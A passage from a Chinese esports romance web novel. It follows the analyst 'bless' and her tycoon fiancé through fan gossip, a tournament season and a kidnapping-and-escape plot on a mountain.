“哦,我也没误会什么。”他淡淡陈述,好像没有很在意。
车辆在CRG门口停止,梁以盏没有第一时间按下车门解锁。
“怎么了。”祝陶浮问。
没有丝毫着急,梁以盏拿出手机,单手在屏幕上拨弄。
她好奇地凑过去,发现他正在修改给自己的备注。
也是从物的“水”emoji,变成人形,背后同样是一对翅膀。
与天使的白色羽毛翅膀不一样,他手机上的是透明圆弧。
祝陶浮:“这是什么?”
梁以盏掀起眼睑,懒散道:“仙女。”
祝陶浮:……
“幼稚鬼。”
不觉得她说得有什么问题,梁以盏顺势解锁车辆,闲散应声:“谢谢夸奖,小神明。”——
同在联盟,低头不见抬头见,很快,CRG对碰上QSG。
谁都没想到
,会有新的投资方接手盘活,薄弱赛训组大大加强,再加上bless面对老东家,原本工作日的场馆尚有空余,现在票全部售罄,小众比赛成了焦点之战。
登场之前,双方会在后台相遇。
msi在国外举办,祝陶浮没有随队,但与先锋赛时一样,远程参与训练复盘。
隔着屏幕看到的画面,与真切实在的人站在面前,还是有所不同。
上次见到祁招,还是msi以前。
一两个月不见,他好像瘦了些,眼神也更凌厉了。
原本还有些懒散不羁的少年气,现在沉淀下来,成了说不明、道不清的晦涩深重。
在等待上场的间隙,两人在狭窄而略显昏暗的过道碰上。
盈利性的联盟需要流量热度,因此在两队相遇的时候,摄像机适时对准了二人。
祁招笑了一下,他唇角翘起的时候,有些过去意气风发的样子。
“你看起来很开心。”他说。
“比在QSG要高兴。”
祝陶浮想了想,说:“有吗,我感觉一样吧。”
“有。”眼神凝在她身上,祁招淡淡吐词。
祝陶浮也笑了一下,回答说:“那……希望你也要心情好。”
赛后,联盟将这段视频放出来,转赞评数量,是连日来最高。
#chess bless
QSG的昔日双S,登上热搜。
看比赛的知情者,颇为感慨二人携手作战的往昔。
作为分析师的祝陶浮,在bp选择上,无论是首选的先发位置,还是末路去制衡counter对面,祁招总能很好地承担配合整个战术体系。
不看比赛的路人网友,觉得两人颜值赏心悦目,不知情地大胆开麦“好配”“有点想磕”。
自然而然,有人猜测,说CRG不标注冠名商,恐怕另有隐情。
背后投资方,搞不好就是祁少爷家里出手。
但QSG和CRG是不同的队伍,不能明面上支持对立面,遂转暗处的地下情。
哪怕QSG方澄清,网络传言均不属实,架不住看热闹的不嫌事大,逆反心理越拦着不让磕,越是要发“招浮99”。
当然,更多的网友,则觉得CRG背后并非祁招出手,而是另有大佬。
QSG身为电竞豪门,可在全新配置的CRG面前,有些不够看了。
CRG里里外外、衣食住行,都比QSG还要更高档次,QSG明显做不到。
流言蜚语甚嚣尘上,资本大佬就快要才猜了个遍,就是落不到梁以盏头上。
原因无他,梁以盏与祝陶浮天差地别,实在很难牵连在一起。
而且,传言里,他还有着一位素未谋面的未婚妻。
真正被地下情、还被网友们莫名戴上了绿颜色的帽子,梁以盏:……——
常规赛的最后一场,CRG成功以二比零拿下胜利。
祝陶浮心情不错,因此联盟官方的工作人员,跟她说请她过来一趟,以为是赛事数据相关,便没有多想,跟着工作人员一起上楼。
楼上的区域她没怎么来过,一直都是在楼下备赛,因此祝陶浮好奇道:“这是哪……”
工作人员把门打开,随后很有眼力劲地又默默关上,悄然离开。
一时间,偌大的会客室寂静无声,祝陶浮有些惊讶。
“你怎么来了。”
“我不来,你光明正大的未婚夫,就要成男小三了。”梁以盏冷声,起身朝她压了过来。
祝陶浮心里一紧,无意识地攥紧他西装衣袖:“外面有人……”
回应她的,是深重潮湿,又压着躁火的绵长沉吻。
“怕什么,偷情不都这样。”——
赛后胜者组采访间,原本轻松喧嚣的直播间,在临时增加一位不速之客以后,全员安静肃重、严阵以待。
梁氏集团新任董事长,向来冷漠不近人情,连财经杂志专访,都置之不理,媒体是一稿难求。
然而现在,却如同天降般来到一个与金融投资毫不相关的电竞采访间。
甚至联盟提出专访,梁氏出面直接拒绝,但是梁以盏本人,却来到普普通通的群体采访室。
直到他坐在CRG的席位,众人方才恍然大悟:
原来CRG一直以来的神秘投资方,竟然是梁氏集团。
可联盟官方新一季的赞助商,梁氏位列第一。
到底是梁氏集团打算涉及电竞行业,从而投资CRG。
还是反过来,是为了投资CRG,才资质联盟官方?
现在联盟热度在赛场上,也有很多在赛场以外,大多数是小打小闹的小道营销。
好不容易逮着一条大新闻,媒体们却只能忍住跃跃欲试的八卦心思,强压下大胆发问的玩笑风格。
毕竟,这不是电竞圈的从业人,而是资本圈的掌权者。
第一个提问的媒体,是官方合作的媒体,他不复以往的大气随意,而是变为小心翼翼打起安全牌:“外界传闻梁氏老牌资本,此番投资新生战队,堪比慈善捐助,对此您怎么看。”
CRG从队员到教练整整齐齐坐在一排,他们也是一脸懵懂,看着远在天边、与自己千里之外的资本大佬,怎么会是CRG的投资方,甚至还亲临采访间。
中间位置留给梁以盏,不知道什么原因姗姗来迟的祝陶浮,发现CRG都自动远离他,从而他身边空出一个位置。
以往她身为赛训组,是坐在边缘位置。
此时阴差阳错,她只能来到梁以盏身旁的中心位。
待到祝陶浮落座,梁以盏状似不经意地瞥了眼身侧,散漫落嗓:“你说呢,bless。”
刚刚坐下,就被点名,祝陶浮:……
CRG.bless,长得好看、bp漂亮,因而外界称赞她战术排布“神之一手”。
CRG打法向来是横冲直撞,很容易陷入死局。
可在她加入队伍、磨合以后,从bp布控到换线团战,数次逆改结局起死回生。
祝陶浮生性安静、不是话多的人,但在接受复杂赛况的采访时,能够条分缕析、侃侃而谈。
可今天一反常态,面对如此简单的提问,只有沉默。
“……bless是不是感冒了?”
起初祝陶浮漂亮惊艳的外表,很容易给人有距离感。但每次采访她都温柔配合,认真答复,媒体们对她的距离感转为成友好感,见她不说话,关切地递个台阶下。
片刻,祝陶浮微哑着嗓子,轻轻地嗯了一声。
其他媒体纷纷表示理解,说:“原来如此,怪不得bless戴着口罩。”
实际上戴着口罩,是为了遮掩方才在休息室,梁以盏留下的洇红咬痕,又湿又重,唇角痛感的滚烫,尚且温存。
祝陶浮:……
闻言,梁以盏看着祝陶浮,似是轻嗤了声。
“是得注意身体,bless。”
又被点名,祝陶浮:……
第57章 桃花茶
自从CRG官宣bless成为战队分析师, 整个队伍焕然一新,免不了看客网友们围观八卦。
CRG的赛训配置,是一名主教练, 一名监督,和一名分析师, 上台进行bp选择环节,则是主教练和分析师一起上。
原来在QSG, 是主、副教练两人,现在祝陶浮拥有登台的机会,因此面对观众, 自然也会接受大家的审判。
由于她对游戏版本的理解,始终遥遥领先,各路解说还有博主们,每次都会对她的英雄选择和战术布局进行拆分研究、学习思路, 在这一方面,着实无可指摘。
哪怕是为了试练新英雄、磨合新体系而选出走钢丝的阵容, 祝陶浮也尽量地让队伍玩得自在舒服, 而不是一味地让队员们痛苦来剑走偏峰。
赛场上的表现着实精彩横生,因而赛场下的一举一动更会吸引关注讨论。
然而祝陶浮生性安静,连微博都没有开通。
全新的投资方接手,CRG不再使用联盟统一的大巴,还要辗转市域铁到达机场附近的基地, 而是自己拥有商务车,甚至还有保镖护送,比赛来去就在不远不近的基地,没有太多空档让人有机可乘。
不过,在她登台亮相的时候, 细心之人发现,
每次她的穿搭造型,都搭配得堪比时装杂志。
而与之相匹配的衣服及配饰,跟女明星走红毯的配置差不多,奢牌当季或超季,以及被扒出来各种拍卖会上价值连城的首饰。
在没有明确是梁氏集团投资以前,网友们的猜测,离不开那些风花雪月的传言。
无非是什么大佬包养,甚至猜到过QSG头上。
毕竟祝陶浮在QSG待过,祁招又是少爷做派,但这经济实力,未免过于强大了吧?
直到,上周的赛后采访,梁氏集团董事长,亲临媒体直播间。
那就太正常了!
梁氏集团,家大业大,投资一个游戏俱乐部,不在话下。
CRG俱乐部随着梁氏注资,水涨船高,那赞助些漂亮衣服和首饰,也很正常吧?
“正常在哪儿?QSG教练组的西装,主教练和监督都是奢牌成衣,bless是秀场款,这能一样?”
眼尖的网友指出不对劲之处,黑粉阴阳怪气地发表评论。
“那不还是包养吗?换了个金主呗。”
这条评论没过一会儿,就销声匿迹。
还有一些猜测更为肮脏难听的消息,依旧是刚刚冒头,就被删除控场。
黑粉:?
“我怎么有点磕到了,那天采访梁董全程没看媒体,眼神一直盯着bless?”
“对,还有说什么,都是让bless来,什么情况。”
“句句提了bless,句句不离bless,bless是标点符号吗,一直点名?”
“大胆开麦,梁以盏从未对外公布的未婚妻,不会就是祝陶浮吧?”
“哈哈,妻管严!”
……
梁氏集团掌权者,与联盟分析师,两人天差地别,如平行线般不相交。
网友也就是瞎磕瓜子,随口一唠。
但是一片流言蜚语里,零星的这几条kswl,保留了下来,因而顶到了显眼前排。
网友:?
—
从商务车下来,到联盟竞技场,门口有一道短暂的围栏路程。
观众们会在此接送喜欢的选手上下班,并送上精心准备的礼物。
季后赛的第一场,CRG取得胜利,全员开开心心下,在门与粉丝合影签名。
与往常一样,队员们在后面接收礼物,祝陶浮与教练组一起先行上车等候。
“bless!”
在一片呼喊队员姓名的声音里,有一道关于分析师的叫唤。
起初祝陶浮以为自己听错了,然而女生坚持着又喊了两三声—
“bless!”
“祝陶浮!”
顿住脚步,祝陶浮回头,看到一个女生挤到围栏前排,用力地朝她挥了挥手。
祝陶浮一愣,赶紧走过去:“怎么……”
一捧水蜜桃的花束,携带着清香递到她身前。
“本来想送桃花,但这个季节没有了,就让花店包的桃子。”
女生见到她走过来,浓艳冲击下,有些语无伦次。
“那个……你好漂亮!加油!”蹦出来的两个词语,有些前言不搭后语,但炽热的真心扑面而来,祝陶浮一时语塞,眼眶一下子有些泛红。
“……谢谢。”祝陶浮哽咽了一下,慢半拍地回复。
“那……我们可以一起拍个照吗?”女生也是很激动,拿出手机小心翼翼询问。
祝陶浮赶紧说:“好的好的,没问题!”
她与女生合照后,围在周围的其他人,也纷纷凑过来。
“bless我也想合影!”
“我也是!祝老师看这边摄像机镜头,笑一下,拍个照!”
“啊啊啊好美,可以再要一个签名吗?”
……
“诶,不好意思,白纸不能签名哈。”
天气炎热,观众们的情绪也很躁动,CRG随行的工作人员们,适时出言提醒。
末了,祝陶浮想到什么,她从包里翻出一些零食,分给女生还有其他人。
单肩背着的帆布包,是CRG资方换成梁氏集团以后,制作出来的新款式。
好看且好用,还没有正式作为赛前应援进行发放。
分发完零食,女生眼巴巴地看着,祝陶浮发现后,不确定地询问:“……你是想要这个吗?”
女生想点头,但觉得会不会有些过分,所以不太好意思地说:“这不好吧……”
“给!”
祝陶浮把包里的东西全清空了,一手揣着包里的零碎物品,一手抱着花,艰难地把 CRG的周边帆布包挪给她。
“送你桃子就这么感动,看你神情,恨不得把身家全掏空了给她。”回到基地,祝陶浮收到这么一条消息。
有什么情况,梁以盏几乎会第一时间知晓。
所以自然看到了,花束之下那泛红的眼尾,比她抱着的水蜜桃看上去还要娇艳欲滴。
看上去,格外诱人可口。
“啊……应该不太好看吧。”
“【猫猫捂脸.jpg】”
祝陶浮脸又红了,不过跟眼红不一样,这次是尴尬的难为情。
虽然拿下了季后赛的第一场胜利,但这只是开始,bo5的每一场都是硬仗。
第一、二赛段,CRG排名不高,总分靠后,因此在第三赛段得打进决赛,才能尽可能保证总积分在前,稳住世界赛的门票。
这是一支新生队伍,除了监督身为老选手,曾经与冠军失之交臂,拥有世界赛的经验,可以给大家分享,其他人都没有进过世界赛。
因此,虽然每一个职业选手的目标,都是那座最高的奖杯,但现实层面,先拿到世界赛的门票是第一步。
胜利当晚,CRG没有松懈,反而愈加刻苦认真,投入rank训练。
在正式复盘以前的空档,祝陶浮与梁以盏简单私聊。
何止是不太好看,应该说是太好看了。
但梁以盏违心地回复,说:“嗯,特别丑。”
“所以不要在外人面前,露出这种表情。”
祝陶浮:“哦……”
对方随即甩出了一张图片,她点开发现,位置在老洋房的院子里,是一片桃树。
那时候匆匆忙忙,没有注意到院子里竟然有一小片桃树。
离开QSG以后更是忙碌,两人从老洋房搬进CRG基地附近的高档平层,只不过祝陶浮为了节省时间,干脆住在基地里。
又发来的一张图片,是她未曾去过、当初订婚时协议里名下的一处别墅。
相较于老洋房的小院桃树,在这里就显得不够看了,因为这一片桃林广袤无垠,一眼望不到头。
漫山遍野的花枝饱满鲜艳,开得正红。
然而现在早已过了桃花盛开的三月,也不知道是什么时候、什么人精心打理、栽种下来的风景。
良久没有等到回复,梁以盏以为她又忙碌去了,随意问:“怎么不说话。”
然而下一刻,祝陶浮几乎秒回,道:“你不是讲,那个神情太丑了。”
“我就也不知道说什么了。”
梁以盏:……
有些好笑又很是无奈,他压着气音反问:“我是外人?”
—
炎炎夏日,观众们再次等候上下班的时候,除了收到CRG官方周边,还有在应援台,不限量、不限粉籍
的解暑茶饮。
不过,都是与桃有关。
甜桃奶冻、芝士桃酪、水蜜桃冰酿……
但又与一般的桃子奶茶有些区别,加入了晾干的桃花。
“哈哈,我不仅磕到了,还喝到了,我的cp太甜了。”
现场观众主要是为了看比赛而来,但看比赛与看乐子,两不耽误。
竞人发言从来都是主打一个无所畏惧,夸人与骂人完全天上地下,磕起cp来,也有一种不顾死活的美丽。
串子乐子人齐聚一堂,cp超话名倒是由为数不多的真情实感粉丝,牢牢把控住,不至于过于离奇,取名为“桃花茶”。
“梁氏集团怎么没把这个超话封了。@梁氏集团”
CRG从来都是正面热搜,看客琢磨出个所以然,都是梁氏集团在背后撑腰发力。
众人也暗戳戳地表示不满,这种太过豪横的一言堂行为。
然而,“桃花茶”的cp超话,却神奇地在横扫中存活下来。
这位不知道是黑粉还是真粉的“封超话”发言,超话网友只是同情地在底下如是评论。
“那个,被封的,可能是你。”
贴主本人:?
然而问号,没能发送出去。
第58章 了结
九月, 夏季赛最后一场比赛,亦是国内全年总决赛。
去年的这个时候,祝陶浮在台下, 还是默默无闻、处在黑暗之中。
如今一年过去,她站在台上, 是坦荡光明里。
从QSG,来到了QSG的对立面, 一年的时间,世事无常,恍若隔世。
今年赛前决赛前一晚, 设置了一项特别环节,双方战队所有人员上台,进行互动对谈。
一番调侃闲聊,最后是观众们喜闻乐见的放狠话环节。
QSG这边, 队长被推出来挡枪。
主持人将话筒递给他,镜头对准狼尾发梢之下, 那张恣肆不羁的俊脸。
万众瞩目里, 祁招微微侧眸,看向CRG。
更准确地,是望着祝陶浮。
“这一年里很多东西都在改变,但有些东西是不会变的。”
“比如,属于CRG的冠军。”
舞台正中央的奖杯, 聚光灯照射熠熠生辉。
后面的半句“比如你”,祁招放下话筒,不再言语。
接下来是CRG方,队员们不约而同,把话筒转交到祝陶浮手中。
在被点到名字的时候, 祝陶浮尚有些发懵,导播很快地捕捉到细微表情,将镜头聚焦到她明艳眉眼间,短暂失神。
平日里站在台上bp选择,祝陶浮一直是冷脸严肃,骨子里的清冷感,愈发拒人千里。
但今天难得在台上展露出困惑呆滞的神情,不仅不显得笨拙,反倒透露出她明媚五官本该有的生动可爱。
万人场馆的观众席里,无论是哪一队的粉丝,见到美好事物,都爆发出友好的欢笑与掌声。
大屏幕上,祝陶浮有些不好意思地红了眼尾,迟疑地拿着话筒,想了想,说。
“就……大家都辛苦了,希望汗水不会白费,祝你所有的努力,都能被看到。”
这次放狠话的环节,以出人意料的温柔结尾。
场馆人山人海,热闹喧嚣,却在此时短暂地安静了一瞬间。
接着,是全场掌声,真挚而炽烈。
第二天总决赛,lpl邀请了明星嘉宾助演。
其中一个节目,是游戏音乐演奏,小提琴的表演者,刚从国外学业归来。
候场的时候,祝陶浮正抓紧最后的时间,在手机上回看视频复盘。
肩膀被拍了一下,她回头看过去,发现了一张有些熟悉的面容。
但她没有想起来到底是谁,对方笑意盈盈地先行开口:“bless,是我呀,小袁!”
明明是袁家千金,却接地气地自谦小袁,祝陶浮后知后觉反应过来,微笑着同她打招呼:“好久不见,袁小姐。”
“哎呀,不用这么客气,那天你别往心里去,家里人太老土了,非要摁着我过来,我可是对梁以盏一点儿意思都没有。”她眨了眨眼,调皮道。
“我倒是觉得,你在台上冷脸指挥、bp抉择的时候,超级酷,简直太帅了!”
祝陶浮:“……啊?”
“加油,我看好你!”说着,白裙飘飘的优雅女孩,星星眼给她鼓励。
祝陶浮有些哭笑不得,点头应声:“……谢谢。”
开场节目结束,QSG与CRG的比赛拉开序幕。
彼此间陌生又熟悉,双方战至bo5终章,共同贡献了一场精彩绝伦的视觉盛宴。
最终第五局,以QSG艰难取胜,夺得最后的国内总冠军。
但当败方的CRG,走到舞台中央鞠躬致谢时,回应他们的是满座喝彩。
胜方理应接受最闪亮的灯光,但同样拼尽全力的败方,也值得掌声。
第一、二赛段的积分不够,全年的第二名顺势拿到第二张门票。
一周后,CRG 与另一支队伍争夺第三名,成果获得进入世界赛的第三张门票。
出征仪式过后,所有队伍进入短暂休赛期。
在梁以盏前往国外分公司的时候,祝陶浮孤身一人,返回栖梧,来到静远观。
梁以盏从洲安两次不告而别,她亦是两次离开洲安。
他说再一再二,不会再三。
祝陶浮料想也是,两次抽签全是下下签。
她想这次给CRG 抽签,第三次不会是最糟糕的结果吧。
清晨,静远观里悄然无声,落花闲散飘落,祝陶浮走进观里,推开三清殿的木门。
供台之上,放着一个简易的签筒。
祝陶浮虔诚膜拜,求问神明。
她摇了摇签筒,从里面抽出来一只签。
“想不到你性子倒是与梁以盏截然相反,竟做出如此清心寡欲之事。”
“求神拜佛吗,有意思,弟妹。”
她从蒲垫上起身,转头发现,从神像背后,一前一后走出来两人。
“有句话怎么说来着,越是得不到的,越是渴求,既然这样,那就毁掉吧。”
本该灰头土脸在国外苟且偷生,梁靖明和梁煜却出现在栖梧这个偏僻的道观里。
强行让自己冷静下来,祝陶浮注视着两人。
平日里,一直在暗处跟着自己的保镖,此时不见踪影,想必对方是做好了万全准备,抓住梁以盏不在国内的机会,进行最后的殊死一搏了。
大脑飞快地运转,祝陶浮悄悄地往后退了一步。
她刚走了一步,后背倏地撞上一个冰冷坚硬的细杆长物。
转过身去,祝陶浮看到,姜宛拎着高尔夫球杆,脸上带笑,站在影绰的烛火里。
“bless,去哪呢。”
她低低笑问,在凄清神殿里,显得格外寒凉。
身旁是姜远铭,兄妹俩一人眼睛空洞泛白,一人脸上有道骇人长疤,恍若恶鬼。
姜宛不再废话,骤然抬臂挥杆,接着是高尔夫球杆冲着祝陶浮的后颈狠狠挥下。
砰——
受到突如其来地猛烈敲击,祝陶浮眼前一黑,失去意识。
手心里攥着的木签,还没来得及查看,应声落在神像前的地面上——
“你疯了?说好的只是用她来威胁梁以盏,换得我们想要的财产,你刚却下了死手!”姜远铭愤怒质问,近乎歇斯底里:“在道观里要不是我拦着,你下一杆再砸下去,祝陶浮还有命在吗?!!!”
“怕什么,这不是没死吗。”姜宛淡淡道,仿佛只是如往常一样挥杆发球,而不是差点要了人性命。
“你他妈要是真把人弄死了,梁以盏绝对不会放过我们!”姜远铭没有她镇定,声线里是掩饰不住地慌张。
“上山路途中,我们的人跟他的人纠缠,几乎全部折损了,这个时候祝陶浮就是最后的底牌,你不要命了?!”
闻言,姜宛不仅没有一丝害怕,反而低低地笑了。
“我早就死了。”她轻声说。
“在你们强迫我联姻,强迫我生下孩子,还要强迫我当与贤妻良母,充作你们姜家门面时,你们有把我当个人吗。”姜宛笑了,笑着笑着,眼角泛着看不见的湿意。
“都不是个人了,怎么算活。”她说。
姜远铭冷笑,没有丝毫的同理心,只顾着打着自己的算盘。
“管你要死要活,
祝陶浮现在必须活着。”眼瞅着姜宛状态极其不对,姜远铭将她拖出房门。
“你先跟我出去冷静一下,别让梁靖明和梁煜回来的时候,看到你这副模样。”
房门关上,耳边短暂清净,祝陶浮腰酸背痛,浑身像是散架。
睁开眼睛,视线昏黄,看样子是农村人家的灶房,里面还堆着些柴火。
旁边还有另一个人的身影,祝陶浮尽力让自己爬起来,坐靠着身后土墙。
“祝小姐,你醒了。”
忍者背后剧痛,祝陶浮幽幽睁开眼,这是一间农房,光线昏暗到几乎看不清,头顶悬栏上一盏电灯泡微弱地亮着光。
“祝小姐,你还好吗,身体怎么样。”
又是刚刚的女声,祝陶浮艰难地看过去,对方清丽容颜在光线里模糊看不太清。
同样是手被绳索束缚、拴在角落动弹不得。但大致看状态,显然比自己精神好很多。
“他们是不是还打了你,听他们的对话,不像我就只是打昏了丢在这里。”她声音是掩饰不住的关切,祝陶浮忍者疼痛,迟钝地朝她点了一下头。
“实在痛的话,不想说就不说了……忘了介绍,我是梁……我曾经是梁董的助理,魏敏。”她道。
“虽然我之前替梁靖明和梁煜做事,但早早地就投向梁以盏这一方,不过我自知没有能力在复杂的梁氏集团立足,后来就辞职离开了。”魏敏坦然而简洁地描述情况,她苦笑道。
“没看到你的时候,我还想着,是不是因为我背叛他们,所以他们找上门来。”
“然而眼下,我估计是因为我现在是裴瑄的……”本来应该是比较含蓄暧昧的话题,可生死关头早已顾不上缥缈氛围,魏敏索性直接陈述。
“我是裴瑄的女朋友,你是梁以盏的未婚妻,所以他们才把我们两都抓过来,以此威胁梁氏集团吧。”
跟裴瑄接触不多,上一次,还是他家养的小狗,盖着的毯子说是梁以盏给的,裴瑄不知道他怎么突发善心。
其实是她随手放在洗衣房、祁招那条毛毯,梁以盏随意称为物尽其用。
当时只道是寻常,在温和平静的氛围里,日子一天天往前。
如今看来,恍若隔世。
不置可否,靠坐着潮湿冰冷的墙面,祝陶浮心里一软,轻轻地嗯了声。
“可现在,不知道这是哪里,也不知道什么时候,才能得救……”
不能坐以待毙,得先自救,祝陶浮心想。
“……你什么时候看见我的,我昏睡了多久。”祝陶浮缓缓开口,嗓子哑得几乎不成声调。
魏敏心领神会,知晓她是在对信息,尽量回忆着答道:“路上我一直被蒙着眼睛,从你被丢进车里,到现在你在土屋里清醒,大概过了两天半。”
路上的颠簸,魏敏看不见所以记不太清,按照最多的半天时间计算。
到了土房里,毕竟需要维持基本的吃喝等生理需求,对方料定她无法跑远,免得脏污也懒得伺候,摘下眼罩,让她自便。
才得以透过土房破败的窗户,隐约瞧见窗外的昼夜更替。
“现在,是我们来到这间土房的第三个晚上。”她说。
祝陶浮心中盘算,得出结论:“我们还在栖梧……准确说,仍然在凤鸣山上。”
老旧木门发出吱呀声响,祝陶浮和魏敏停止讨论,以为是绑架者进屋。
进来的是一个老婆婆,端着一个破碗,里面盛着粥水进来。
方才心脏提到嗓子眼,见是她来,魏敏心里稍稍放下。
“你不用害怕,她这两天都给我送吃的,估计是梁靖明也知道,我们真有个三长两短,他们也换不到自己想要的价值。”魏敏说。
“本来是另有保镖看守,但估计是山下跟梁以盏他们派来找我们的人纠缠,人手不够,所以抓了当地村民来应付。”
即使送了一碗稀粥过来,对方没有给她们松绑。
老婆婆扶着墙面,颤颤巍巍在魏敏身前蹲下,给她喂食。
“这个老婆婆她看不见,听力也不是很好,所以他们才放心地把她抓过来,避免让咱们逃走。”
这两天下来,魏敏试图跟她交流,然而发现她始终一言不发,才明白是盲聋人。
“你前两天没有醒,因此,她只端了一碗粥……”
“魏敏,你让她过来。”
声线嘶哑,没有平日里的清甜,任谁听到都不会以为她是祝陶浮。
隔着一段距离,她说话的声音,老婆婆听不太清,但魏敏能听见。
“啊,我说她能听见吗,之前从梁靖明他们交流间听说,在她家里翻出了盲聋证……”
“她能听见。”祝陶浮很肯定地回答。
“我和梁以盏,见过她。”
冬天过年的时候,梁以盏和祝陶浮跟随当地村委会,运送物资。
这个老婆婆体弱多病,年岁渐高,不是先天性盲聋,近些年失去视觉和听觉。
孩子们嫌弃她是个累赘,遂把她送回老家山村,自生自灭。
眼睛是彻底看不见,听力戴着助听器能听清些许。
村委会基层的工作人员,跟她聊起梁以盏和祝陶浮时,说他们两是热心村民,是烟霞村的村草和村花。
慢慢地听见他们在说什么,老婆婆好奇地问。
“村草和村花吗,那这两孩子得多好看啊,可惜我看不到……”
祝陶浮心头一酸,安慰的言语显得苍白。
她走过去,半蹲在老婆婆的木椅身侧,拉着她的手,想让她能感受到一点温暖。
“小姑娘,那你是村花吗。”老婆婆摩挲着她细瘦手腕,猜测着。
失去视觉和听觉,触觉被迫变得敏锐起来:“你手上戴着的银镯好特别,村里的小孩子们戴的平安镯,上面是光滑的,你这镯子内壁上,好像刻了有字。”
“下面还有条手绳,像是系着块圆润的玉,摸起来很舒服。”
后来,梁以盏派人把她接到栖梧最好的康养中心,她曾经的朋友们在这里,很是乐意开心。
同时也从洲安请了医疗专家,对她的眼睛和耳朵进行治疗。
第二赛段的休赛期,梁以盏和祝陶浮一起去看望过她。
老婆婆的眼睛能够感光,听力障碍也渐渐恢复,即使不戴着助听器,凑近以后听见一点点。
梁靖明他们在她家里发现的盲聋证明,是以前,不是现在。
而现在……
“真是感谢老天保佑,碰上村花和村草,你们这么好的人,听说月圆之夜许愿很灵验,我会去静远观,给你们两祈福。”
现在是9月底,正是临近中秋。
“魏敏,你就跟她说两个字,村花。”清了清嗓子,祝陶浮沙哑道。
不清楚她此时为何突然提到这两个字,但是魏敏知道肯定事出有因,于是果断跟着祝陶浮重复。
“村花,老婆婆,您记得吗?”
果然,在听到这个词语,老婆婆整个人陡然一惊,握着粥碗的手掌,变得颤颤巍巍,差点没端稳。
“……她在哪里?”
两整天过去,第三天的晚上,老婆婆开口说了第一句话。
在魏敏话语里的指引下,老婆婆扶着凹凸不平的土墙,慢慢地来到祝陶浮跟前。
她颤抖着手指,摸索到祝陶浮的腕骨。
那个地方,正是刻有经文的银镯,与手绳上的平安扣。
—
“你不跟我们一起走吗?”
站在凤鸣山的分叉路口,魏敏不解发问。
视力与听力受损,老婆婆到底是土生土长的当地人,摸黑找到了房屋里老橱柜里的旧剪刀,解开束缚着她们的绳索。
祝陶浮摇了摇头,衣裙破损、发丝散落狼狈,整个人在夜风里似乎摇摇欲坠。
但乌黑圆润的眼睛,在浓稠黑暗中亮得异常,极为坚定,像是一团火在燃烧。
“你们下山沿着小路走,不要走大路,会被他们追过来的车看到。”祝陶浮叮嘱。
既然姜宛说枪杀孽太重,仓皇离开的时候遗落,祝陶浮将它拾捡起来。
现实客观上,梁靖明他们会很快地找上来,祝陶浮她们必须得分开走,才有存活的可能。
而且老婆婆视听不佳,年岁已高,逃跑必然不便,祝陶浮让魏敏带着她先行下山离开,自己则往另一条偏僻山路上去。
魏敏还想再劝解:“不行啊祝小姐,你
要有个三长两短,梁董不会放过我的。”
祝陶浮笑了下:“你不是说,你现在不是他的员工了,还怕什么?”
魏敏幽幽道:“……但以梁以盏本人的性格,绝对不肯善罢甘休的。”
时间不等人,祝陶浮只好说:“那到时候,我给你说情,怎么样?”
即使之前没有接触过,但魏敏隐约知道,祝陶浮和梁以盏一样,认定了就不会更改的固执之人。
眼瞅着她执意断后,魏敏眼眶有些泛红,哽咽着说:“那你一定要活着回来,多给我说两句好话啊。”
不知道她们的对话,老婆婆却直觉感到生离死别的危机。她蹒跚着来到祝陶浮跟前,摸索着抓住她的手腕。
“村花,我们一起走,安全回去。”
在她看不见的地方,祝陶浮笑了笑,反握着她的手,温柔道。
“别担心,有些事,我去做个了结。”
如果今天能侥幸逃脱,免不了来日他们会卷土重来。
不想等了,祝陶浮以身为引,就是现在。
第59章 可爱鬼
夜晚十一点, 烟霞村山路上忽然悠悠地响起音乐。
乐声来自一台老旧收音机,在寂静黑夜里应该是阴诡瘆人,但不知为何, 引人遐想而无限希望。
“什么声音这是?”梁靖明听到,还饶有兴致地跟着哼唱。
梁煜皱眉, 若有所思:“听着有些耳熟,在唐人街玩的时候, 有家商店经常放这个……”
闻言,姜宛笑了下,阴森森道:“还在这儿斗呢, 人都已经跑了。”
“什么意思?”姜远铭脸色陡然间一变,那只假眼睛显得愈发丑陋突兀。
“蠢啊,这音乐,是梁祝。”姜宛笑意未改, 侧脸上的疤痕,跟着诡异牵动。
四人来到农房土屋, 已然空无一人, 只剩一地散落的绳索。
梁靖明猛然丢下手里的烟,恶狠狠地说:“管好你的疯妹妹,要不是她过来发疯,怎么会让人跑了!”
姜远铭自知理亏,冷汗直流:“现在当务之急, 是找到她们两个,这不是有声音吗,跟着去就行了。”
“那她们可真没脑子,以为能引起梁以盏那边搜山的人注意,也不看是谁能先找到, 简直是断头路!”梁煜冷冷道。
说完他们就准备跟着声音去追。
“不对。”姜宛打断,冷着声音判断。
“她们肯定分成了两路,调虎离山呢。”
梁靖明反应过来,强行冷静说:“的确,再慌不择路,怎么会往山上跑,应该下山往外出走才是正常的。”
“那我们就还是往下去追。”
“还是错了。”姜宛淡淡道,一字一顿:“以祝陶浮的性子,肯定是她往上去绝路,让别人带着生的希望往外走。”
于是,四人兵分两路,梁靖明和梁煜往山路深处,去找祝陶浮。
姜远铭和姜宛则是往下,去追剩余的两人。
山林深处只能步行,而往大路上走,则可以开车去追。
上车以后,姜远铭和姜宛相对无言。
新修的盘山公路,由梁氏出资建设,路灯明亮将前路照得开阔坦荡,车上的两人,却一言不发,阴沉惨淡。
姜宛忽然出声,问:“还记得上次,你开车送我,是什么时候吗,哥哥。”
可能是声音过于轻柔,与方才发疯哭喊不一样,姜远铭心头有些哽咽,才回答道:“……记不太清了。”
“是吗。”姜宛淡淡道,望着前方:“我倒是记忆犹新,就是你送我去联姻的那天。”
“哦不对,准确来讲,是你骗我说是去找祁招,实际把我送到合作商的床上。”
深闺里长成的乖巧少女,偏爱潇洒不羁的风。
那时候只是家族之间的例行晚宴,少年一头狼尾发姗姗来迟。
随手接住她不小心倾倒的酒杯,擦肩而过,落花有意、流水无情。
稍稍平复下来的心情,在姜宛重提旧事的时候,姜远铭心中再次变得沉重。
“现在说这些,没有意义了。”姜远铭生硬地转移话题。
“是吗,我觉得很有意义。”姜宛笑了,侧眸看向他。
“我们就快要回到过去了,我们还是和好如初,是最好的,兄妹。”
末尾两字,重音强调,姜远铭莫名感到心头一寒。
“你什么意思?”
姜宛转过身,从后座抽出高尔夫球杆,放在身前细细抚摸。
“这是你教我的本领,说是很有用。”
“用它来同那些客商虚与委蛇,我没觉得有什么作用,刚刚用它来捣毁刹车的时候,可太趁手了。”
